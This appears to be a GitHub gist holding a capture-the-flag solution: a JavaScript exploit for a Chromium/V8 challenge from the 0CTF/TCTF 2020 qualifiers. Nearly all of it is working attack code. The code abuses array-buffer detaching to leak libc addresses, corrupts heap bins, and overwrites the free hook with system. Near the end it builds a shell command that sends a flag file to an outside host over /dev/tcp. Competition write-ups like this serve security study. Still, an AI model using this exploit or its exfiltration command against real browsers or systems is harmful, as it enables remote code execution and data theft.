Created
June 29, 2020 03:50
-
-
Save ptr-yudai/de039d45ea9b1befd5279fe24ec50183 to your computer and use it in GitHub Desktop.
0CTF/TCTF 2020 Quals - Chromium RCE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Utils | |
*/ | |
let conversion_buffer = new ArrayBuffer(8); | |
let float_view = new Float64Array(conversion_buffer); | |
let int_view = new BigUint64Array(conversion_buffer); | |
BigInt.prototype.hex = function() { | |
return '0x' + this.toString(16); | |
}; | |
BigInt.prototype.i2f = function() { | |
int_view[0] = this; | |
return float_view[0]; | |
} | |
Number.prototype.f2i = function() { | |
float_view[0] = this; | |
return int_view[0]; | |
} | |
print = console.log; | |
MAIN_ARENA = BigInt(0x3ebc40); | |
__FREE_HOOK = BigInt(0x3ed8e8); | |
__MALLOC_HOOK = BigInt(0x3ebc30); | |
SYSTEM = BigInt(0x4f440); | |
SIZE = 0x48 | |
/** | |
* Exploit | |
*/ | |
function pwn() { | |
/* leak libc base */ | |
var evilBuf = new ArrayBuffer(0x1000); | |
var evil = new Float64Array(evilBuf); | |
var buffer = new ArrayBuffer(0x420); | |
var victim = new Float64Array(buffer); | |
%ArrayBufferDetach(buffer); | |
evil.set(victim); | |
var libc_base = evil[1].f2i() - MAIN_ARENA - BigInt(0x60); | |
if (Number(libc_base & BigInt(0xfff)) != 0) { | |
libc_base -= BigInt(0x3f0); | |
} | |
print("[+] libc = " + libc_base.toString(16)); | |
// need to calc now as BitInt calls malloc_consolidate | |
target = (libc_base + MAIN_ARENA + BigInt("0x3d")).i2f(); | |
goal = libc_base + __FREE_HOOK - BigInt("0x67"); | |
listed_goal = [] | |
for(var i = 0; i < 8; i++) { | |
listed_goal.push(Number((goal >> BigInt(i*8)) & BigInt(0xff))); | |
} | |
system = libc_base + SYSTEM; | |
listed_system = [] | |
for(var i = 0; i < 8; i++) { | |
listed_system.push(Number((system >> BigInt(i*8)) & BigInt(0xff))); | |
} | |
print(goal.toString(16)); | |
print(system.toString(16)); | |
/* evict tcache */ | |
var chunks = [ | |
new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), | |
new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), | |
new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), | |
]; | |
for(var i = 0; i < chunks.length; i++) { | |
%ArrayBufferDetach(chunks[i]); | |
} | |
var chunks = [ | |
new ArrayBuffer(0x70), new ArrayBuffer(0x70), new ArrayBuffer(0x70), | |
new ArrayBuffer(0x70), new ArrayBuffer(0x70), new ArrayBuffer(0x70), | |
new ArrayBuffer(0x70), new ArrayBuffer(0x70), new ArrayBuffer(0x70), | |
]; | |
for(var i = 0; i < chunks.length; i++) { | |
%ArrayBufferDetach(chunks[i]); | |
} | |
/* fastbin corruption */ | |
var evilBuf = new ArrayBuffer(SIZE); | |
var evil = new Float64Array(evilBuf); | |
var buffer = new ArrayBuffer(SIZE); | |
var victim = new Float64Array(buffer); | |
%ArrayBufferDetach(buffer); | |
evil[0] = target; | |
victim.set(evil, 0); | |
/* overwrite main_arena */ | |
var dummy = new ArrayBuffer(SIZE); | |
var arena = new ArrayBuffer(SIZE); | |
var wrap = new Uint8Array(arena); | |
for(var i = 0; i < 8; i++) { | |
wrap[0x13 + i] = listed_goal[i]; | |
} | |
/* eat bins */ | |
var dummy = [ | |
new ArrayBuffer(0x8000), | |
new ArrayBuffer(0x8000), | |
new ArrayBuffer(0x8000), | |
new ArrayBuffer(0x2000), | |
new ArrayBuffer(0x1000) | |
]; | |
var hook = new ArrayBuffer(0x1330); // hello dealloc_buffer | |
for(var i = 0; i < dummy.length; i++) { | |
%ArrayBufferDetach(dummy[i]); // top is small, give them space (><) | |
} | |
/* | |
var wrap = new Float64Array(hook); | |
wrap[0] = -1.1885958788264018e+148; | |
/*/ | |
var wrap = new Uint8Array(hook); | |
for(var i = 0; i < 8; i++) { | |
wrap[0x57 + i] = listed_system[i]; | |
} | |
var cmd = "/bin/bash -c '/readflag > /dev/tcp/X.X.X.X/9999'"; | |
print(cmd); | |
//*/ | |
} | |
pwn(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment